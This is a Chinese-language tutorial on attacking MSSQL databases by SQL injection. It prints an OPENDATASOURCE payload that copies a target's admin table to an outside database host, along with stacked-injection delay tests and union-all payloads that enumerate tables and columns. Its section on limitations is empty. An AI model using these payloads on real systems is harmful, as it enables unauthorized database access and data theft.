1.什么是MSSQL
MS SQL实际上是指微软的SQL Server数据库服务器,MYSQL可以说是MSSQL的简化版。MYSQL数据库一般专用于PHP网站,适合小,中型网站,而且还是开源的。 MSSQL目前大型网站使用,一般是商务网站使用,因为是微软开发的,所以要收费,而且要贵一些!
MSSQL与MYSQL的基本语法区别:(只针对渗透测试常用的语法)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | MYSQL: 1.使用‘; '来作为语句的结尾 2.使用‘' 进行转义 3.系统自带库: mysql、information_schema、performance_schema、sys 4.查询当前数据库名称: database () 5.查看表名:tables MSSQL: 1.‘;'是可选的,可写可不写,但是MSSQL中提供了go关键词作为批处理语句的结尾 2.在SQL Server中则不需要转义,有歧义的时候只需使用引号即可 3.系统自带库: Master、Model、Msdb、Tempdb 4.查询当前数据库名称:db_name() 5.查看表名:sysobjects |
2.原理
让目标把得到的信息插入到渗透测试人员的数据库中
3.MSSQL注入的条件
a.目标要能访问外网
b.被插入的数据库要能用公网IP连接
4.注入步骤
a.反弹注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | --1.搭建MSSQL环境 /*自己搭建一个MSSQL环境是不现实的,首先你得有公网IP,有了公网IP才能将查询到的数据插入 到我们的数据库中。这里可以免费申请一个虚拟空间来帮我们搭建MSSQL环境, 比如:Alwaysdata,ProFreeHost,香港云等等。*/ --2.连接公网数据库 --使用Navicat数据库管理工具连接,连接名任意,主机为本机地址 --3.判断是否存在堆叠注入 ; select name from sysobjects waitfor delay ‘00:00:05:00 '//如果网站发生延迟,说明存在 --4.在连接的数据库中创建一个新表用于存放数据 --5.反弹注入 --用opendatasource函数进行反弹注入。 OPENDATASOURCE(provider_name,init_string) /*provider_name为用于访问数据源的OLE DB 提供程序的PROGID的名称 init_string为连接地址、端口、用户名、密码、数据库名 server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称*/ --例如: insert into opendatasource(‘sqloledb' , 'server=den1.mssql8.gear.host,1433;uid=0;pwd=0;database=admin' ).admin.dbo.LYP select * from admin — qwe /*insert into代表语句属性,是插入语句 opendatasource(‘sqloledb','server=den1.mssql8.gear.host,1433;uid=0;pwd=0;database=admin').admin.dbo.LYP表示将查询到的内容插入到什么地方 select *from admin表示要查与数据的内容 */ |
b.MSSQL联合查询注入
由于MSSQL语法比MYSQL严格些,所以不能直接全填数字来寻找显错位,MYSQL中union只需要满足字段数相同即可,但是MSSQL中如果你的填充位与数据库字段类型不匹配是没有数据显示的!而且MSSQL的联合查询最好使用union all!不知道是什么类型时可以填‘null’
1 | 'union all select ' null ',' null ',' null ' --s1 |
然后用数字逐个替换null判断类型
到了这一步差不多可以猜出是MSSQL数据库,那么接下来的步骤就不能按照SQL注入的语法继续查数据了
利用MSSQL自带表获取用户自建表
1 | 'union all select id,name,' null ' from sysobjects where xtype=' U' --s2 |
1 | 'union all select ' null ',name,' null ' from dbo.syscolumns where id=··· ··· --s3 |
1 | ' union all select 字段名,字段名,字段名 from 表名 --q |
5.补充
反弹注入是用来解决盲注,WAF拦截,访问过快被封
堆叠注入:
a.原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
b.局限性
到此这篇关于MSSQL反弹注入的文章就介绍到这了,更多相关MSSQL反弹注入内容请搜索IT俱乐部以前的文章或继续浏览下面的相关文章希望大家以后多多支持IT俱乐部!